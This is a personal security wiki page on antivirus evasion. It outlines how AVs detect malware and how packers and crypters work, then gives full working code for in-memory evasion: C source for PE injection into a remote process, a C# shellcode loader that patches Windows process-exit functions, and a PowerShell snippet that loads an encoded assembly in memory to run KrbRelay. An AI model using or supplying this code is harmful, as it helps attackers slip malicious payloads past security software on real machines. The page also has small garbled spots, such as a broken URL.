Wiki : ./Security/Other/Antivirus Evasion.md

#evasion

Reading

Detection Methods

  • Many AVs use a combination of those detection methods.

Signature based

  • Uses known strings / byte sequences
  • Can be evaded using obfuscation

Heuristic based

  • Check the action the binary takes
  • The idea is to look for various patterns and program calls (as opposed to simple byte sequences) that are considered malicious.
  • Steps through the instruction set of a binary or attempts to decompile and analyze the src.

Behavior based

  • Dynamically analyzes the behavior.
  • Most of the time executes the binary in a sandbox.

On-Disk evasion

Packers

Mostly not sufficient if it's not a propitiatory packer.

Obfuscators

  • uglify-js - JavaScript obfuscator

Crypters

Adds a decrypting stub which is executed in memory at runtime

  • RC4 encryption
  • XOR encryption

In-Memory evasion

Remote Process Memory Injection

  • Inject the payload into another valid PE over win32 API

Process Injection

Code

#include <stdio.h>
#include <stdio.h>
#include <Windows.h>

typedef struct BASE_RELOCATION_ENTRY {
	USHORT Offset : 12;
	USHORT Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;

DWORD InjectionEntryPoint() {
	CHAR moduleName[128] = "";
	GetModuleFileNameA(NULL, moduleName, sizeof(moduleName));
	MessageBoxA(NULL, moduleName, "Obligatory PE Injection", NULL);
	return 0;
}

int main()
{
	// Get current image's base address
	PVOID imageBase = GetModuleHandle(NULL);
	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)imageBase;
	PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + dosHeader->e_lfanew);

	// Allocate a new memory block and copy the current PE image to this new memory block
	PVOID localImage = VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_READWRITE);
	memcpy(localImage, imageBase, ntHeader->OptionalHeader.SizeOfImage);

	// Open the target process - this is process we will be injecting this PE into
	HANDLE targetProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, 9304);
	
	// Allote a new memory block in the target process. This is where we will be injecting this PE
	PVOID targetImage = VirtualAllocEx(targetProcess, NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// Calculate delta between addresses of where the image will be located in the target process and where it's located currently
	DWORD_PTR deltaImageBase = (DWORD_PTR)targetImage - (DWORD_PTR)imageBase;

	// Relocate localImage, to ensure that it will have correct addresses once its in the target process
	PIMAGE_BASE_RELOCATION relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)localImage + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
	DWORD relocationEntriesCount = 0;
	PDWORD_PTR patchedAddress;
	PBASE_RELOCATION_ENTRY relocationRVA = NULL;

	while (relocationTable->SizeOfBlock > 0)
	{
		relocationEntriesCount = (relocationTable->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT);
		relocationRVA = (PBASE_RELOCATION_ENTRY)(relocationTable + 1);

		for (short i = 0; i < relocationEntriesCount; i++)
		{
			if (relocationRVA[i].Offset)
			{
				patchedAddress = (PDWORD_PTR)((DWORD_PTR)localImage + relocationTable->VirtualAddress + relocationRVA[i].Offset);
				*patchedAddress += deltaImageBase;
			}
		}
		relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocationTable + relocationTable->SizeOfBlock);
	}

	// Write the relocated localImage into the target process
	WriteProcessMemory(targetProcess, targetImage, localImage, ntHeader->OptionalHeader.SizeOfImage, NULL);

	// Start the injected PE inside the target process
	CreateRemoteThread(targetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD_PTR)InjectionEntryPoint + deltaImageBase), NULL, 0, NULL);

	return 0;
}

Reflective DLL Injection

  • Loads a DLL from memory.
  • Includes creating the PE structure in memory since DLLs can't be loaded from memory normally with LoadLibrary.

C#

  • Use Donut to create shellcode out of PE files.
  • Compile with csc.exe /target:library /out:MyClass.dll MyClass.cs
using System;
using System.Runtime.InteropServices;
using System.Collections.Generic;
using System.IO;

namespace ShellcodeInject
{
    public class Program
    {


        // Exitpatcher function stolen from From Nettitudes RunPE -> https://gith:w!
        ub.com/nettitude/RunPE 

        internal const uint PAGE_EXECUTE_READWRITE = 0x40;

        [DllImport("kernel32.dll")]
        internal static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpFlOldProtect);

        internal static byte[] PatchFunction(string dllName, string funcName, byte[] patchBytes)
        {

            var moduleHandle = GetModuleHandle(dllName);
            var pFunc = GetProcAddress(moduleHandle, funcName);

            var originalBytes = new byte[patchBytes.Length];
            Marshal.Copy(pFunc, originalBytes, 0, patchBytes.Length);


            var result = VirtualProtect(pFunc, (UIntPtr)patchBytes.Length, PAGE_EXECUTE_READWRITE, out var oldProtect);
            if (!result)
            {

                return null;
            }

            Marshal.Copy(patchBytes, 0, pFunc, patchBytes.Length);


            result = VirtualProtect(pFunc, (UIntPtr)patchBytes.Length, oldProtect, out _);
            if (!result)
            {
            }

            return originalBytes;
        }

        private byte[] _terminateProcessOriginalBytes;
        private byte[] _ntTerminateProcessOriginalBytes;
        private byte[] _rtlExitUserProcessOriginalBytes;
        private byte[] _corExitProcessOriginalBytes;

        [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
        internal static extern IntPtr GetModuleHandle(string lpModuleName);

        [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        internal bool PatchExit()
        {


            var hKernelbase = GetModuleHandle("kernelbase");
            var pExitThreadFunc = GetProcAddress(hKernelbase, "ExitThread");

            var exitThreadPatchBytes = new List<byte>() { 0x48, 0xC7, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x48, 0xB8 };
            /*
                mov rcx, 0x0 #takes first arg
                mov rax, <ExitThread> # 
                push rax
                ret
             */
            var pointerBytes = BitConverter.GetBytes(pExitThreadFunc.ToInt64());

            exitThreadPatchBytes.AddRange(pointerBytes);

            exitThreadPatchBytes.Add(0x50);
            exitThreadPatchBytes.Add(0xC3);

            _terminateProcessOriginalBytes =
                PatchFunction("kernelbase", "TerminateProcess", exitThreadPatchBytes.ToArray());
            if (_terminateProcessOriginalBytes == null)
            {
                return false;
            }
            _corExitProcessOriginalBytes =
                PatchFunction("mscoree", "CorExitProcess", exitThreadPatchBytes.ToArray());
            if (_corExitProcessOriginalBytes == null)
            {
                return false;
            }

            _ntTerminateProcessOriginalBytes =
                PatchFunction("ntdll", "NtTerminateProcess", exitThreadPatchBytes.ToArray());
            if (_ntTerminateProcessOriginalBytes == null)
            {
                return false;
            }


            _rtlExitUserProcessOriginalBytes =
                PatchFunction("ntdll", "RtlExitUserProcess", exitThreadPatchBytes.ToArray());
            if (_rtlExitUserProcessOriginalBytes == null)
            {
                return false;
            }

            return true;
        }

        internal void ResetExitFunctions()
        {

            PatchFunction("kernelbase", "TerminateProcess", _terminateProcessOriginalBytes);

            PatchFunction("mscoree", "CorExitProcess", _corExitProcessOriginalBytes);

            PatchFunction("ntdll", "NtTerminateProcess", _ntTerminateProcessOriginalBytes);

            PatchFunction("ntdll", "RtlExitUserProcess", _rtlExitUserProcessOriginalBytes);

        }

        private delegate IntPtr GetPebDelegate();


        [DllImport("kernel32")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr param, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32")]
        public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);


        public static void Inject()
        {

            byte[] buf1 = File.ReadAllBytes(@"[path to file]");
            uint num;
            IntPtr pointer = Marshal.AllocHGlobal(buf1.Length);
            Marshal.Copy(buf1, 0, pointer, buf1.Length);
            VirtualProtect(pointer, new UIntPtr((uint)buf1.Length), (uint)0x40, out num);

            var mc = new Program();

            bool patched = mc.PatchExit();
            Console.WriteLine("\r\nExit functions patched: " + patched + "\r\n\r\n");

            IntPtr hThread = CreateThread(IntPtr.Zero, 0, pointer, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);

            Console.WriteLine("Thread Complete");

            mc.ResetExitFunctions();


        }

    }
}

Load from powershell

$dllbytes = [io.file]::ReadAllBytes("C:\Users\i4\source\repos\gen2\gen2\MyClass.dll")
[System.Reflection.Assembly]::Load($dllbytes)

GAC    Version        Location
    -        --
False  v4.0.30319

PS C:\Users\i4\source\repos\gen2\gen2> [MyNamespace.MyClass]::MyMethod()

	$a=New-Object IO.MemoryStream(,[Convert]::FromBAsE64String("xxx")
    $decompressed = New-Object IO.Compression.GzipStream($a,[IO.Compression.CoMPressionMode]::DEComPress)
    $output = New-Object System.IO.MemoryStream
    $decompressed.CopyTo( $output )
    [byte[]] $byteOutArray = $output.ToArray()
    $RAS = [System.Reflection.Assembly]::Load($byteOutArray)

    $OldConsoleOut = [Console]::Out
    $StringWriter = New-Object IO.StringWriter
    [Console]::SetOut($StringWriter)

    [KrbRelay.Program]::main([string[]]$args)

    [Console]::SetOut($OldConsoleOut)
    $Results = $StringWriter.ToString()
    $Results

Process Hollowing

  • Replaces a suspended processes Image with a malicious file

Process Hollowing

Inline hooking

  • Modify process memory
  • Redirect the code execution into a new function
  • Return back to normal execution

Inline Hooking